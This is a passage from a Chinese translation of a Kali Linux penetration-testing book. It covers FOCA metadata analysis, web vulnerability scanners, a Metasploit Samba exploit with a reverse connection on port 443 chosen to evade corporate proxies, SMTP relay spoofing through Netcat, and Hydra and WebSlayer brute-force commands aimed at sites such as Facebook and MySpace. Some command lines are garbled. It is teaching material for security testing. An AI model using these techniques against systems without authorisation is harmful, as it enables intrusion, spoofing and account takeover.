	创建该文档的系统上安装的操作系统。



FOCA是一个安全审计工具，它会检查来自特定域的元数据。你可以让FOCA使用搜索引擎来找到域中的文件，或是直接使用本地文件。

FOCA在Kali中自带，不过，那个版本有点古老了。最好的办法是下载最新版本。FOCA一直以来都是Windows上的工具，所以最新的版本通常都只在Windows上才有。

FOCA的最新版本可以从http://www.informatica64.com/DownloadFOCA
 （可以用Google Translate将该页面转换成英文或中文）下载。

在屏幕下方输入自己的Email地址，你会收到一封带有下载链接地址的邮件。在FOCA有新的发布版本时，你也会收到更新通知。

1.启动FOCA之后的第一件事是创建一个新项目，如下面的截图中所示：








 我们建议将所有项目文件都保存在同一个位置。你应该为每个项目创建一个新的目录。

2.在给你的项目起好名字、选定存放项目文件的位置后，点击Create
 按钮，如下面的截图所示：




3.下一步就是保存项目文件。保存好项目后，点击Search All
 按钮，FOCA会使用搜索引擎来扫描文档。你也可以选择使用本地文档。




4.右键点击该文件，选择Download
 选项，如下面的截图所示：




5.右键点击该文件，选择Extract Metadata
 选项，如下面的截图所示：




6.右键点击该文件，选择Analyze Metadata
 选项，如下面的截图所示：




在下面的截图中，你可以看到有两个人打开过这个文档。




你也可以从下面的截图中看出这份文档是用Mac的Microsoft Office和Adobe Photoshop创建的。




在许多情况中，攻击者都能够看到更多的信息，并通过这种方式来收集有关目标的情报。

FOCA允许用户保存一份所有元数据的副本，并对其建立索引。另外，每种类型的元数据文件也会保存一份。这将使渗透测试人员可以获得大量的信息。前面的截图中通常给出的都是索引文件的整体，以及所有文件的列表。最后，FOCA允许渗透测试人员下载所有文件，然后跟前面例子中一样使用。




2.3　小结



侦察通常是渗透测试实践中最重要的一步，也是最耗时的一步。针对目标采取的所有行动都是围绕侦察结果展开的。了解到的有关目标的信息越多，你触发目标安全防御系统警报的概率就越低，找到攻入目标系统的途径的概率也就越大。建议大家在阅读本书后面内容之前，先认真把本章看完。

本章中，我们着重介绍了收集跟目标有关信息的各种途径。我们演示了一些互联网上常见的免费工具，以及Kali Linux中的Information Gathering工具。从这里开始，你就可以通过侦察来对目标进行测试，找到可能利用的漏洞了。

下一章我们将会着重介绍如何找出和利用Web应用及Web服务器中的漏洞。

 




第 3 章　服务器端攻击



服务器是网络中的专用计算系统，用于运行针对用户和其他计算机的服务。这类服务的例子太多了，比如在线游戏之类的公共服务和大型企业内部共享机密文件的服务，等等。在客户端-服务器架构中，服务器运行用于响应其他程序（也就是客户端）的请求的程序。因此，服务器会代替“客户端”执行一些计算性任务。客户端要么运行在同一台电脑上，要么可以通过网络连接到服务器。最简单的例子就是服务器面向全世界托管某个游戏，而客户端可以远程访问该游戏。向客户端提供服务的形式多种多样，如仅局限于HTTP的Apache Web服务器，或是除了HTTP还支持更多功能的BEA WebLogic应用服务器。

网络服务器通常都会配置成能够处理大量客户端请求。这意味着更大的计算能力、内存和存储，对黑客来说这些资产都是很有价值的。企业通常都是远程管理这些服务器，并不会主动监测上面的活动，也就是说，性能或其他指标上的一点微小的损耗也不会被注意到。通常恶意用户都是使用了受危害服务器很长一段时间之后，服务器所有者才会发现黑客用来访问系统的那些漏洞。

本章将着重介绍如何找出和利用Web应用服务器中的漏洞，从介绍Kali中自带的用来找出漏洞的工具开始。下一步，我们会着重介绍利用漏洞来获取Web应用服务器的访问权限。本章结尾介绍访问Web应用服务器的其他方法。




3.1　漏洞评估



服务器端攻击即找出并利用服务器上的服务、端口和应用中的漏洞。举个例子，Web服务器都有多个攻击途径（Attack Vector）。它会运行一个操作系统，并运行各种各样的软件来提供Web功能。它会有很多打开的TCP端口。这些途径中的每一个都有可能找出一个攻击者能利用的漏洞，攻击者可以藉此潜入系统并获取有用的信息。服务器上的许多协议都是以人类可读的未加密文本处理的。

让我们看看Kali中带的那些用来找出服务器端漏洞的工具。



3.1.1　Webshag



Webshag是一个用于对Web服务器进行安全审计的跨平台多线程工具。Webshag会收集那些通常对Web服务器有用的功能，比如端口扫描、URL扫描和文件模糊测试。你可以通过代理和HTTP身份认证（基本认证或摘要认证），用它来以HTTP或HTTPS的方式扫描Web服务器。此外，Webshag可以凭借IDS规避能力，使请求之间的相关性变得更复杂。

Webshag还提供了其他的创新功能，比如获取目标机器上托管的域名列表，以及使用动态生成的文件名进行模糊测试。Webshag可以进行Web页面的指纹收集，从而能够防止内容变化。这个功能是作为移除假阳性的算法而设计的，旨在处理服务器返回的“soft404”
1

 响应。



1

 参见
 
http://en.wikipedia.org/wiki/HTTP_404#Soft_404

 。——译者注


Webshag可以用GUI方式访问，也可以用命令行控制台的方式访问。它同时支持Linux平台和Windows平台。在Kali Linux中，Webshag可以在Web Applications
 > Web Vulnerability Scanners
 中找到，名为webshag-gui
 。

Webshag使用起来非常简单。每个功能都会在顶部有个标签。选择想要的功能标签，在目标空间中输入目标URL，然后点击OK
 执行。你可以同时运行多个标签。它的功能包括端口扫描、爬虫、URL扫描和模糊测试。下面四个截图分别对应Webshag针对www.thesecurityblogger.com
 执行端口扫描、Web爬虫、URL扫描和文件模糊测试：













Webshag支持将安全审计中发现的所有数据以XML、HTML和TXT文件格式导出。Webshag的最终报告会以逻辑化的格式输出，这使其可以作为单独的文档，也可以作为渗透测试交付报告中引用的文章。下面两个截图分别显示了导出选项和审计报告的开头部分。








 有关Webshag的更多信息可以参考：http://www.scrt.ch/en/attack/downloads/webshag
 。



3.1.2　Skipfish




Skipfish
 是一款Web应用安全侦察工具。Skipfish会利用递归爬虫和基于字典的探针生成一幅交互式网站地图。最终生成的地图会在通过安全检查后输出。

Skipfish可以在Web Applications
 > Web Vulnerability Scanners
 中找到，名为skipfish
 。首次启动Skipfish时，它会弹出一个终端
 窗口来展示Skipfish的命令。Skipfish可以用自带字典或是定制字典来进行漏洞评估。


 有些字典可能在Kali中找不到。你可以从https://code.google.com/p/skipfish/
 下载Skipfish的最新版本和默认字典。

所有可用的字典都位于dictionaries目录中。




Skipfish包含各种命令选项。运行Skipfish时，如果要对某个目标网站使用定制字典，可以先输入skipfish
 ，然后用-W
 选项后跟字典文件的位置路径来选定字典，在其后再用-o
 后跟位置路径来指定输出目录，最后是目标网站：



skipfish –o (输出位置) –W (字典文件的位置) (目标网站)







下面的例子演示了使用名为complete.wl的字典文件来对securityblogger.com
 进行扫描。Skipfish会在桌面创建一个名为Skipfishoutput的目录。关键字skipfish -o /root/Desktop/Skipfishoutput
 指定了输出结果的位置，-W /root/Desktop/complete.wl
 指定了字典的位置路http://www.thesecurityblogger.com则是扫描的目标。





 在用-W
 选项时，后跟skipfish
 默认的字典不会运行。你可以复制一份默认的单词表并移除单词表的第一行（#ro
 ），将其当做一个定制的单词表。如下面的截图所示：




如果没出现编译错误，你会看到一个启动屏幕，上面会说60秒后自动启动，或立即按下任意键启动。




可以按下空格键
 来查看扫描的细节，或是观察默认的数字。完成目标扫描可能会耗时30秒到几个小时不等。可以输入Ctrl + C来提前结束扫描。




一旦扫描结束，或是你提前终止，Skipfish会在用-o
 选项指定的位置生成很多文件。要查看结果，点击index.html
 文件，它会打开Web浏览器。你可以点击每个下拉选单来查看结果。在示例报告部分可以了解更多信息。






3.1.3　ProxyStrike




ProxyStrike
 是一个Web应用代理，用来在浏览应用时找出漏洞。它的运行机制跟代理类似，默认监听8008端口，也就是说，你要对浏览器进行配置，使其运行时经过ProxyStrike。这样它才能在你浏览目标网站时在后台分析所有参数。代理功能非常适合用来识别、拦截和修改请求的内容。

要配置如Firefox之类的浏览器，使其使用ProxyStrike，你可以选择Firefox
 > Preferences
 > Advanced
 > Network
 ，然后选择Settings
 。再选择Manual Proxy
 ，输入Kali服务器的IP地址，后跟端口号8008
 （除非你打算修改ProxyStrike的默认端口）。




要使用ProxyStrike，浏览Web Applications
 > Web Vulnerability Scanners
 ，然后选择ProxyStrike
 。假设你的浏览器发送的流量都会经过ProxyStrike，你会在Comms
 标签下看到抓取的数据。我们会在第6章
 中进一步介绍如何使用代理。




爬虫功能用来扫描目标网站的SQL或SSL以及XSS插件漏洞非常方便。你不需要将ProxyStrike设置为代理就能使用爬虫功能。要在某个网站上和XSS插件一起运行爬虫功能，你可以点击Plugins
 标签，滚动到XSS插件，在勾选框中勾选并启用该插件。然后，选择Crawler
 标签，输入带http://
 的目标网站URL，使用插件框来检查爬虫，然后点击它上面大大的Stop
 按钮，使其状态变为Running
 。添加这些插件会增加扫描需要的时间。ProxyStrike会显示一个状态栏，在那里会显示出扫描还要持续的时间。











Plugins
 标签会在扫描开始后显示爬虫的结果。这里找到的攻击可以导出为HTML或XML。





Log
 标签会显示哪些任务已经针对目标网站在运行了，以及每个攻击的成功等级。这个文件可以复制到一个文本文件中作为最终交付的结果的一部分。Crawler
 标签会列出所有跟目标关联的已发现的去重后的Web链接。




ProxyStrike提供了其他一些有用的功能。有关ProxyStrike的更多内容可以参考http://www.edge-security.com/proxystrike.php
 。



3.1.4　Vega







Vega
 是一个安全测试工具，用来爬取一个网站，并分析页面内容来找到链接和表单参数。

要运行Vega，你可以浏览Web Applications
 > Web Vulnerability Scanners
 ，然后选择Vega
 。Vega会先闪过一个包含介绍信息的横条，然后显示一个GUI。




Vega在右上角有Scanner
 和Proxy
 标签。要将Vega用作扫描器，点击右上角的Scanner
 标签，然后点左上角的Scan
 开始新的扫描。




你会看到一个文本输入框，要求输入目标URL。下面的例子是指向www.thesecurityblogger.com
 。选择目标后，点击Next
 。




下一节是你访问目标需要用到的选项。这里有两个主要的模块（Injection
 和Response Processing
 ），其中有很多的扫描选项。展开每个模块，选择你想使用的扫描选项，点击Next
 。




下面两个截图中提供了添加cookie和排除模式的能力来避免模糊测试，这两个都是可选的。你可以不做任何修改，就使用默认值，在两个屏幕上都点击Next
 。点击Finish
 来开始扫描。

Vega会显示活跃的扫描，并将找到的漏洞映射到它们对目标的威胁程度上。




左上角名为Website View
 的窗口会显示正在扫描的目标以及跟主目标关联的其他目标。左下角名为Scan Alerts
 的窗口会显示找到的漏洞类别。你可以点击警报下方的三角符号查看Vega找到了哪些漏洞。点击任何漏洞，Vega都会显示找到的漏洞详情，并详细描述它可能造成的影响。

下面的截图展示了www.thesecurityblogger.com
 上可能存在的跨站脚本漏洞：




Vega界面上的代理
 部分可以查看跟目标网站之间的请求和响应。代理
 部分会在扫描时弹出。




Vega会在中间的窗口显示找到的漏洞的详情和一个汇总页。这些细节可以复制到最终的交付报告中。






3.1.5　Owasp-Zap




Owasp-Zap
 也称为Zaproxy
 ，是一个专门为Web应用的安全测试而设计的拦截代理。

你可以浏览Web Applications
 > Web Application Fuzzers
 ，然后选择owasp-zap
 来打开Zaproxy。打开后会弹出一个免责声明，必须接受才能启动该程序。

接受授权证书的免责声明之后，Owasp-Zap工具会启动，并显示另外一个弹出窗口，询问你是否要创建一个SSL根CA证书。这样Zaproxy就可以拦截浏览器中通过SSL传送的HTTPS数据。对测试使用HTTPS的应用来说，这非常重要。要生成SSL证书，点击Generate
 按钮即可。




然后它会弹出一个窗口询问是要生成还是导入证书。你可以点击Generate
 来生成证书。可以点击Save
 来保存新生成的证书，然后选择保存的地方。新生成的证书文件我们命名为owasp_cap_root_ca.cer
 。




保存好CA文件后，点击OK
 ，然后打开浏览器。对于Firefox，你可以点击Edit
 > Preferences
 ，然后选择Advanced
 标签。点击Encryption
 子标签，选择View Certificates
 。再点击Import
 ，选择你在Zaproxy中生成的证书（那个.cer文件）。Firefox会询问在哪些用途可以信任该数字证书认证机构（CA，Certificate Authority）。勾选全部这三个选项：信任网站、电子邮件用户和软件开发人员。点击两次OK
 完成配置。




下一步是设置Firefox来将所有数据流都导向Zaproxy。选择Edit
 > Preferences
 ，点击Advanced
 标签，然后选择Network
 标签。点击Configure
 按钮，再点击Manual proxy configuration
 ，输入localhost
 和端口8080
 （Zaproxy的默认端口）。勾选Use this proxy server for all protocols
 旁边的勾选框，点击OK
 。下面的截图显示的就是我们刚刚做的配置：




打开Zaproxy，此时应该能在左上角看到一个Sites
 窗口。这个窗口会在你用Firefox浏览互联网时出现。你可以在右侧窗口查看每个页面的所有请求和响应。Zaproxy提供了一个便捷的界面，用于查看各个网页用到的所有资源。

你还可以访问快速启动窗口、在URL to attack
 字段输入目标网站的URL来对目标网站进行测试。下面的截图就是Zaproxy对.thesecurityblogger.com进行扫描的场景：




Zaproxy会爬取目标网站以找出跟目标关联的所有连接，然后进行漏洞扫描。要查看已发现的漏洞，可以点击Alerts
 标签。





 Zaproxy默认不会自动进行身份认证。如果使用的是默认设置，在自动扫描中所有的登录请求都会失败。

你可以在Zaproxy中设置自动登录；不过，需要在使用Zaproxy时首先人工登录网站，告诉Zaproxy登录和退出登录的请求是哪个，然后再启动自动登录功能。GET
 请求会出现在Sites
 窗口中，你必须在Responses
 标签中高亮标记登录和退出登录的响应，具体步骤为：右键点击响应结果，点击Flag as Content
 ，然后选择它是登录还是退出登录行为。




之后工具栏会显示一个棕色的图标来表示自动身份认证。点击该图标来启用自动身份认证，这样在Zaproxy对目标进行自动评估的过程中，当遇到任何身份认证请求时都能自动登录。这个功能在对要求身份认证的网站进行自动检测时很有用。




Zaproxy有一个插件市场，你可以在Help
 > Check for updates
 中找到。它能提供其他一些可以添加到Zaproxy工具中的功能。




在Report
 标签下，Zaproxy提供了不同的报告选项。




这里有个针对www.thesecurityblogger.com生成的HTML报告的例子。






3.1.6　Websploit







Websploit
 是一个用来扫描和分析远程系统以找到漏洞的开源项目。

要打开Websploit
 ，你可以浏览Web Applications
 > Web Application Fuzzers
 ，然后选择websploit
 。它会先弹出一个终端窗口，里面显示Websploit
 的横条。你可以通过show modules
 命令查看所有可用的模块以及运行特定模块需要的条件。




输入USE
 ，后跟你要添加的模块以及运行时需要的信息。举个例子，要运行webkiller
 模块，你要输入use network/webkiller
 ，然后用set TARGET
 命令来设定攻击的目标。输入RUN
 来运行该模块。







3.2　漏洞利用



如果渗透测试人员在目标侦察阶段投入了足够的时间和资源，他可能就已经列出了可能有漏洞的那些目标。下一步就是评估每个目标对你的任务的价值，并进行排序。可以估计对潜在漏洞进行利用需要投入的精力，结合执行攻击时的连带风险一起考虑。Kali中自带的漏洞和漏洞利用工具非常适合在对Web应用服务器进行侦察时找出和利用漏洞。



3.2.1　Metasploit




Metasploit
 框架是进行服务器端攻击时一种最流行的功能工具。它也被认为是对渗透测试人员最有用的工具之一。HD Moore于2003年创建了这个项目。它可以用作合法的渗透测试工具，也可以用作攻击者进行非授权系统漏洞利用的工具。

介绍如何使用Metasploit框架的资料非常多。在本书中，我们会介绍如何利用Metasploit在Web应用渗透测试中进行服务器端的漏洞利用。


 一定要确保启动了Postgres SQL和Metasploit服务。你可以在终端窗口中以root身份输入service postgres start
 和service metasploit start
 来启动。

第一步是打开一个控制台，输入msfconsole
 来启动Metasploit。msfconsole
 是启动Metaspoit最常用的方式。它提供了一个独立的用户界面来访问整个Metasploit框架。一些简单的命令如help
 和show
 可以帮你熟悉Metasploit。


 还有一些其他方法也可以用来启动Metasploit，比如msfgui
 （基于GUI的）和msfcli
 （基于命令行的）。

除了支持调用Metasploit自有的命令，msfconsole
 还支持调用底层的OS命令，比如ping
 和nmap
 。这对攻击者来说很有用，因为这样他就可以执行常规任务，而不用离开控制台。

在我们的第一步中，会使用nmap
 来扫描本地网络。扫描结果会自动以XML文件的形式添加到Metasploit中。

我们输入的命令如下：



nmap -n -oX my.xml network










我们将从nmap
 输出的结果以XML文件的形式导入到Metasploit中。调用以下命令：



db_import my.xml







对主机命令做个快速检查，能看到数据导入已经成功了。Metasploit已经拿到了nmap
 输出的数据。




我们还会调用services
 命令来查看Metasploit中可用的服务。下面是services
 命令的一个示例输出：




你可以使用db\_nmap
 命令一步完成对nmap
 进行扫描和将结果XML文件导入Metasploit数据库的工作。在下面的例子中，我们将使用db\_nmap
 来对目标主机使用nmap
 命令进行扫描。




我们可以调用hosts
 和services
 命令来验证Metasploit已经在数据库中保留了相关信息。





services
 命令说明我们正在使用Samba文件共享服务。让我们来看看是否能找到一个漏洞并加以利用。注意，虽然在这个例子中我们攻击的是一台真实的Web服务器，但我们找出的并不是真的Web漏洞。真实攻击者会利用Web服务器上运行的所有软件来获取信息。

我们可以看到有几个可利用的Samba漏洞。它们也有排名。我们会利用排名靠前的usermap\_script
 漏洞。这个模块会利用Samba的3.0.20版本到3.0.25rc3版本之间存在的命令执行漏洞。更多有关此漏洞利用的信息可以参考：http://www.metasploit.com/modules/exploit/multi/samba/usermap_script
 。




要使用某个漏洞，需要使用use
 命令。在本例中如下面的截图所示：




选好了要利用的漏洞后，我们需要确定在执行选定的漏洞时还需要什么信息。我们可以在输出中找到列出的必选选项，然后选择要使用的攻击载荷。调用show options
 命令，查看必选选项：




可以在这个例子中看到，我们需要一个RHOST
 参数。RHOST
 是我们要攻击的远程主机的IP地址。我们还要选择攻击载荷并设置攻击载荷的参数。攻击载荷是一段可自行注入并执行漏洞利用的代码。由于同个漏洞在多种方式下都可用，我们通常也会有多个可选的攻击载荷。要查看可用的攻击载荷，可输入show payloads
 命令。




找到了要使用的载荷后，下一步是使用set payload
 命令后跟我们看到的该载荷的补丁名称来设置载荷。




设置好了攻击载荷后，可以再次调用show options
 来查看该载荷专属的选项。




我们能看到这个载荷需要设置LHOST
 和LPORT
 。LHOST
 是你的本地主机，或是你的Metasploit攻击者沙箱的IP地址。该漏洞利用需要让远程主机连回托管Metasploit的系统，所以远程主机需要知道你的IP地址。

另外，我们还需要设置远程主机跟Metasploit通信的端口。许多企业环境会通过防火墙或路由器来限制离港端口。最好的办法是使用公用端口，比如端口443，它通常是专门为SSL数据预留的，大部分企业也允许通过这个端口外发数据。使用443端口的另外一个好处在于大多数企业都不会审查SSL外发的数据。我们发现在大多数攻击中将443端口用作LPORT
 可以避开该企业部署的内部代理工具。




完成设置选项后，可以输入exploit
 来运行攻击。如果该漏洞利用成功运行了，你就能连接到远程服务器了。你可以执行任何命令。在这个例子中，这个漏洞利用拿到了root权限。root权限意味着你拥有了远程目标服务器的所有权限。




Metasploit框架有各种各样的漏洞利用和攻击载荷选项。你可以在http://www.metasploit.com
 查看所有可用的选项。



3.2.2　w3af







w3af
 是Web Application Attack and Audit Framework（Web应用攻击和安全审计框架）
 的缩写。它是一个开源的Web应用安全扫描器和漏洞利用工具。W3af可通过Web Application Assessment
 > Web Vulnerability Scanners
 > w3af
 打开。

w3af提供了一个向导界面。不过，它并不是正确执行扫描的必要条件。第一步先创建一个新配置或是利用已有的配置。配置用来将可以在目标上运行的插件聚合起来。w3af带有一些很赞的默认聚合分组，比如OWASP TOP10。现有插件的定义会在你选中插件时显示在中间的窗口中，比如下面例子中的OWASP TOP10配置。可以在左边栏中选择现有的配置，或是新建的配置。如果你用的是新配置或是编辑已有配置，可以勾选你想用来扫描的所有插件。勾选的插件越多，扫描持续的时间就越长。如果勾选了一大片分组，w3af会警告你这么多分组可能要用很长时间。点击Start
 开始扫描。




下一步，在Target:
 字段中输入目标URL，然后点击Start
 来运行扫描。下面的截图显示的是我们对w3af进行配置扫描www.thesecurityblogger.com：




w3af会在Log
 窗口中显示当前进行的扫描的状态。w3af会试着预估扫描完成需要的时间。




要查看扫描的结果，点击Results
 标签。Results
 标签会提供找到的潜在漏洞的详情。Exploit
 标签会基于发现的漏洞显示可能的漏洞利用。




w3af允许用户对审计阶段找到的漏洞加以利用。漏洞找出后，会被存储到知识库中的特定地方。漏洞利用插件会从那个地方读取信息，然后使用这些信息来对漏洞加以利用。如果漏洞利用成功了，你会获得目标系统上的一个shell。下面的截图显示了www.ntew3af插件正在对www.thesecurityblogger.com
 的dayShell
 漏洞加以利用。




在w3af工具集中，有很多有用的功能。你可以通过http://w3af.org/了解更多信息。




3.3　利用电子邮件系统的漏洞



从本质上说，所有电子邮件系统都要接入互联网，接受来自外部的匿名访问，这样才能起作用。许多企业用户都会通过电子邮件发送机密信息。在大多数环境中，电子邮件服务器都会保存一些有价值的信息，这使得它们成为了攻击者的最高优先级目标。对使用者来说，好消息是只要正确配置了，现代电子邮件系统是极其难被抓住漏洞的。但这并不意味着电子邮件系统对攻击就是免疫的。大多数邮件系统都有Web应用，并可以通过Web界面访问。这提高了远程攻击者获取核心系统访问权限的可能性，攻击者可以利用它作为跳板，连接到内网的其他系统。

在我们将邮件系统作为目标之前，首先需要知道托管邮件服务器的是什么系统。如果不知道这些信息，可以借鉴我们在第2章
 中学到的侦察技术。在这个例子中，我们会用Fierce来找出特定域名的MX主机。在大多数情况下，MX主机就是SMTP服务器。下面是对www.cloudcentrics.com
 运行Fierce
 的例子：




首先，需要查看目标邮件服务器是否有可以执行直接命令的漏洞。大多数攻击者都想利用邮件服务器来仿冒邮件，使用邮件服务器作为非授权的邮件中继服务器。本书将会在第4章
 中进一步介绍如何利用侵入的邮件服务器进行社会工程。

在这个例子中，我们会使用Netcat
 作为连接到邮件服务器的工具。Netcat
 是一个用于读取或写入通过TCP或UDP进行的网络连接的计算机网络服务。Netcat被设计成了那种可以依赖的后端设备，方便直接使用或易于被其他程序或脚本驱动。Netcat同时也是一个功能丰富的网络调试和调查工具，它可以通过自带的多种功能来生成各种关联关系。

启动Netcat常用的方法是调用命令netcat mail-server port
 。在本例中，目标邮件服务器是运行在端口25上。我们在第2章
 介绍侦察步骤时用nmap
 验证过这部分信息。




使用Netcat连接到邮件服务器后，使用HELO
 命令来告诉服务器我们的身份。

如果收到了响应，可以使用SMTP
 命令对大多数服务器进行操作（有些系统可能由于配置和系统类型的原因而不可侵入）。在下面的例子中，一开始会通过HELO
 命令告诉服务器我们的身份。之后，就可以用该邮件服务器来为将来的客户端攻击做邮件中继了。

只有HELO
 、MAIL FROM
 、RCP To
 和Data
 字段是必填的。你可以用其他字段来隐藏邮件的发件人并修改reply to
 字段。这里举个例子，你可以修改reply to
 地址来达到让收件人将电子邮件误回给其他人的目的。




完整的SMTP
 命令清单可以在SMTP RFC中找到，或是通过谷歌找到。




3.4　暴力破解攻击



暴力破解攻击是指对加密数据尝试所有可能的密文，直到找到正确的密文。从资源和时间占用的角度看，暴力破解攻击的成本极其高。攻击者通常是看中了密文的长度限制和密文的简单性来对加密中的漏洞加以利用。如果密文通常是基于字典中的单词，那么这意味着攻击者需要测试的全部空间就是对应的词典中的所有单词，这使得猜测的范围远小于采用随机字符的单词。避免暴力破解攻击的最好办法是使用很长的复杂的密文，外加尝试若干次数后采用超时阻止等其他方法来提高安全因子。



3.4.1　Hydra




Hydra
 是由The Hacker's Choice（THC）
 开发的一款工具，它使用暴力破解攻击方法来测试一系列不同的协议。它是攻击邮件系统的理想选择，因为Hydra可以锁定特定的IP和协议，比如邮件系统使用的POP3和SMTP的管理员账户。

在启动Hydra之前，应该对目标进行侦察工作，比如邮件系统。第2章
 中介绍了漏洞评估工具Zenmap
 ，它可以用来为Hydra收集如下信息：




	目标系统的IP地址（比如192.168.1.1）；

	开放的端口（比如端口80或25）；

	协议（比如给Web用的HTTP或给邮件用的SMTP）；

	用户名（比如admin）。



另一个常跟Hydra搭配使用的侦察工具是Firefox插件Tamper Data
 。





Tamper Data
 是由Adam Judson开发的。它允许攻击者查看HTTP和HTTPS的GET和POST信息。在使用如Hydra一类的工具进行暴力破解攻击时，这些信息非常有用，因为你可以自动化Hydra来打开网页，并对不同的用户名和密码组合进行测试。

启用Tamper Data插件后，我们就能在对Web表单提交用户名之前启动该插件了。




Tamper Data会显示在字段分组中输入的信息。攻击者可以对这些数据进行操作并重新提交，即使该网站是经过加密的。




在本例中，我们看到当用户点击login
 按钮时提交的用户名pink
 和密码pinkprincess
 。

这两个例子是对目标进行侦察以收集Hydra需要的有用信息的两个实用方法。Kali中还有一大把的其他方法和自带工具可以用来收集Hydra中用到的Web信息。不过，我们推荐使用Netcat和Tamper Data。它们是目前最有效的方法。

现在已经完成了侦察阶段，让我们启动Hydra看看如何使用侦察阶段收集到的信息来进行暴力破解密码攻击。

要在Kali中访问Hydra，浏览Password Attacks
 > Online Attacks
 ，然后选择Hydra
 。它会打开一个终端窗口，然后自动启动Hydra。




终端窗口中的开头文档解释了如何运行Hydra。举个例子，如果你想要使用SMTP攻击一个位于192.168.1.1的管理员账户的密码文件，可以输入：



hydra -l admin -p /root/password.txt 192.168.1.1 smtp







如果要在Web表单中使用Hydra，我们就需要收集之前在Tamper Data插件中收集到的信息。在Web表单中使用Hydra的语法是<url>:<表单参数>:<失败字符串>
 。



URL=https://www.facebook.com/login.php?login_attempt=1email=pink&passwd=pinkprincessl&login="log in"







现在可以运行Hydra了。你需要提供一个含有用户名的文件，还需要一个含有密码的文件。



hydra -L /cloudcentrics/usernamelist -P /cloudcentrics/passwords_demo_file.txtt -facebook.com http-get-form "login.php?login_attempt=1:username=^EMAIL^&TOKEN=^PASSWORD^&login=Login:incorrect"







它的语法可能会非常复杂，而且站点跟站点之间也会变化。在同一个网站上也可能会不同。我们推荐你先在实验室中掌握了Tamper Data和Hydra，然后再在现场渗透测试中使用。



3.4.2　DirBuster




DirBuster
 是为暴力破解Web应用服务器上的目录和文件名而设计的。很多情况下，Web服务器看上去依然是默认安装后的状态，而应用和网页实际上都隐藏在里面。DirBuster就是为了找出这些隐藏的因素而设计的。

DirBuster可以在Web Applications
 > Web Crawlers
 中找到，名为dirbuster
 。打开后，必须填完某些字段后才能发起攻击。至少必须输入目标URL，选择线程数（我们建议最多不超过100）及文件列表。你可以点击Browse
 来选择默认的列表或是自己设置。


 Kali的有些版本可能并未包含默认的字典。你可以在线下载默认字典，然后将DirBuster指向它们，如下面的截图所示： 


填完基本信息后，点击Start
 ，DirBuster会开始漏洞评估。很有可能它会说完成时间会是在几天后。不过，你通常能够在几分钟内就找到有用的数据。下面的截图中找出了一个很有趣的/cgi-bin/目录：




只要HTTP响应的状态码不是404，这个网页就是可以进行暴力破解攻击的。要在锁定中将目标锁定为/cgi-bin/，点击Stop
 来结束扫描，然后点击Back
 。在主界面上，Start
 上方，有个选择漏洞评估起点的字段。要扫描/cgi-bin/目录内部，可以在该字段输入该目录然后点击Start
 。




极有可能你会发现目录中还有目录要测试。重复同样的停止、更新起始字段、执行扫描的过程，进一步理清目标的情况。下面的截图显示了/cgi-bin/目录内的树状图关系：




你可以点击Report
 按钮来将探索结果转换成报告的形式。你需要选择保存报告的位置，然后点击Generate Report
 。然后会看到在弹出的文本文件中展示了你发现的内容。






3.4.3　WebSlayer







WebSlayer
 是一个Web应用程序暴力破解工具。WebSlayer可以用来暴力破解表单（User/Password
 ）、GET
 和POST
 参数，也可以用于找出没有被链接的资源，如脚本、文件、目录等。WebSlayer提供了载荷生成器和结果分析器。


Attack Setup
 标签中有一个url
 字段，这里必须填上目标的URL。在URL字段下面是Headers
 和POST
 数据输入文本框。它还有一个设置载荷类型的选项，选项可以是Dictionary
 、Range
 或是Payload
 。Dictionary
 可以是包含载荷信息的文件，它可以是定制的文件，也可以是从可用字典列表中选择的某个字典。Range
 设置可用来指定攻击的范围。Payload
 设置可以从Payload Generator
 标签中导入一个载荷。下面的截图显示了锁定了www.thesecurityblogger.com
 的WebSlayer：




载荷生成器可用于创建定制的攻击载荷。你可以加载字典、数值范围、字符块、排列、信用卡、用户名和其他设置。你可以进行拼接，生成最终的攻击负载，然后上传到攻击标签进行定制攻击。

这里讲一个在Payload Generator
 标签中定义数值范围载荷的例子。你可以在下面的截图中看到，这个例子中，我们将数值范围载荷设成了从0
 到1000
 。范围选好后，点击add generator
 按钮，它最终会生成一个临时生成器。将新创建的生成器拖到底部的Payload Creator
 中，点击Generate Payload
 。我们现在可以在Attack Setup
 中导入刚刚创建的攻击载荷了。




在将载荷导入到攻击场景中或是选择好默认字典后，必须指定用WebSlayer将该载荷注入到哪里。你可以在要攻击的URL中用FUZZ
 关键字。举个例子，下面的截图在攻击URI字段中显示了目标为http://www.thesecurityblogger.com/FUZZ
 ，其中FUZZ
 就是一个攻击，它利用了WebSlayer中已有的两个字典：




WebSlayer可以攻击HTTP请求中的任何部分，比如首部和身份认证。为了让WebSlayer暴力破解Web服务器的密码，我们必须知道用户名，否则这个攻击很难成功。你需要抓取HTTP请求并尝试做一个登录，这样才能抓到攻击中需要用到的用户代理和内容。




Firefox提供了一个名为Live HTTP Headers
 的插件。你可以在尝试登录到目标服务器时用它来收集这些信息。下面的例子演示了在用Live HTTP Headers抓取数据包时，用户joeymuniz用了一个错误的密码。




在Live HTTP Headers中抓取的用于WebSlayer的重要信息是User-Agent
 和Login Credentials
 ，如下面的截图所示：







用户代理信息会出现在HTTP首部部分，而登录信息会出现在POST数据部分。URL应该跟登录页匹配。Authentication
 部分提供了不同的安全等级和用户名空间。

下面的这个例子演示了利用Live HTTP Headers中抓取的登录信息来尝试访问myspace
 。错误的密码换成了FUZZ
 ，这样WebSlayer就知道哪个部分需要尝试暴力破解。这个例子中，Authentication
 标签有不同的安全选项，身份认证方式设成了基本模式，用户名为joeymuniz
 ，后跟关键字FUZZ
 。




你可以简单地输入网站、用户代理、内容和已知用户名。可以在需要密码的地方输入关键字FUZZ
 ，然后选择字典来对这些登录空间进行暴力破解。这是对Web服务器进行自动化暴力破解的一个简单途径。


 myspace
 实际使用的身份认证方式要比例子中介绍的强一些。

带有安全功能如账户锁定的目标可能不会受这个工具的影响。如果你锁定的目标是个受监控的资产，那么高级安全工具如IPS/IDS技术很有可能会发出警报。出于这些原因，在没有进行充分的侦察工作前，我们要谨慎将WebSlayer用于在线目标。

WebSlayer提供了将载荷和结果导出为文本和HTML格式的功能。我们也可以抓取日志文件，将其粘贴到文本文件中。







3.5　破解密码



密码是用户在系统上认证身份最常用的方法。在对目标系统进行漏洞利用时，通常也能找出能够访问其他系统的密码。在第4章
 中，我们会用一节专门介绍如何用Kali中自带的大量工具破解密码。下一节首先用Kali中一个很流行的工具破解密码。



John the Ripper




John the Ripper
